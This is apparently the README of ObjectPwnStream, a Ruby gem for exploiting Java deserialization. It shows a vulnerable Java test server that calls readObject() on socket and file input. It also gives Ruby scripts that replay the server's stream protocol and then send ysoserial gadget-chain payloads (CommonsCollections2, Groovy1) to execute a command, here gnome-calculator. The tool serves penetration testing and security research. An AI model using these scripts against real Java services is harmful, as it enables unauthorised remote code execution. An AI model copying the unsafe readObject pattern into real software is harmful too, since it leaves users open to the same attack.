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ObjectPwnStream

a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation.

the library is currently able to deliver the serialized payloads to TCP connections (tcpSocket.getInputStream()) and files (FileInputStream()).

Requirements

  • Ruby v3.0.0 or newer

Installation

Add this line to your application's Gemfile:

gem 'ObjectPwnStream'

And then execute:

$ bundle

Or install it yourself as:

$ gem install ObjectPwnStream

Or install it from main branch:

$ git clone https://github.com/hakivvi/ObjectPwnStream
$ cd ObjectPwnStream
$ bundle install && bundle exec rake install

Documentation

See ObjectPwnStream wiki page for a more detailed gem usage and methods documentation.

Usage

the library provides a set of methods to mimic the methods of both ObjectInputStream and ObjectOutputStream,

the readObject() method is not always the first function run on a Socket or a FileInputStream, so you can't just feed the server with your serialized payload or else java.io.StreamCorruptedException will be thrown by the server.

take this test server for example, which does read and write a bunch of types before actually calling readObject() which the attacker is usually interested in:

                s = serverSock.accept();
                System.out.println("[+] Connection accepted from " + s.getInetAddress().getHostAddress() + ":" + s.getPort());
                
                oos = new ObjectOutputStream(s.getOutputStream());
                ois = new ObjectInputStream(s.getInputStream());

                oos.writeInt(serverVersion);
                oos.flush();
                System.out.printf("[>] writeInt(): 0x%x\n", serverVersion);

                System.out.printf("[<] readInt(): 0x%x\n", ois.readInt());

                oos.writeUTF(serverName);
                oos.flush();
                System.out.printf("[>] writeUTF(): %s\n", serverName);

                System.out.printf("[<] readUTF(): %s\n", ois.readUTF());


                oos.writeShort(0xabcd);
                oos.flush();
                System.out.printf("[>] writeShort(): 0x%x\n", 0xabcd);

                System.out.printf("[<] readShort(): 0x%x\n", ois.readShort());
                
                oos.writeLong(-12345);
                oos.flush();
                System.out.printf("[>] writeLong(): %d\n", -12345);

                System.out.printf("[<] readLong(): %d\n", ois.readLong());


                oos.writeObject(new ToyServer());
                oos.flush();
                System.out.println("[>] writeObject()");

                System.out.println("[<] readObject()");
                try {
                	ois.readObject();
               	} catch (Throwable e) {}

to reach the readObject() method in this server connection, we should read and write successively int, utf, short etc. using ObjectPwnStream library, we can do just that:

require 'ObjectPwnStream'

pwnStream = ObjectPwnStream::PwnStream.new(host: "127.0.0.1", port: 9090)
pwnStream.connect!
pwnStream.open_streams!
pwnStream.read_int
pwnStream.write_int(0x1337)
pwnStream.read_utf
pwnStream.write_utf "ObjectPwnStream"
pwnStream.read_short
pwnStream.write_short(0xabcd)
pwnStream.read_long(signed: true)
pwnStream.write_long(-12345)
pwnStream.read_object
pwnStream.ysoserial_generate!("./ysoserial.jar","CommonsCollections2", "gnome-calculator", encode: true, windows: false)
pwnStream.write_object(ysoserial: true)

or as a FileInputStream:

        ObjectInputStream fis = new ObjectInputStream(new FileInputStream("/tmp/to_deserialize_file"));

        System.out.printf("got a long from the file: %d\n", fis.readLong());
        try {
            fis.readObject();
        } catch(Throwable e){}
        System.out.println("readObject(): done.");

to successfully reach readObject(), we should provide a valid long type first, the script will be:

require 'ObjectPwnStream'

pwnStream = ObjectPwnStream::PwnStream.new(file_path: "/tmp/to_deserialize_file")
pwnStream.connect!
pwnStream.open_output_stream!
pwnStream.write_long(12345)
pwnStream.ysoserial_generate!("../ysoserial.jar", "Groovy1", "gnome-calculator", encode: true, windows: false)
pwnStream.write_object(ysoserial: true)
pwnStream.close!

PoC

find a test vulnerable Java server and a Ruby ObjectPwnStream exploit in the test directory.

poc

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ObjectPwnStream. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.

License

The gem is available as open source under the terms of the MIT License.

Code of Conduct

Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the code of conduct.

Todo

  • document all the functions.
  • support CLI mode.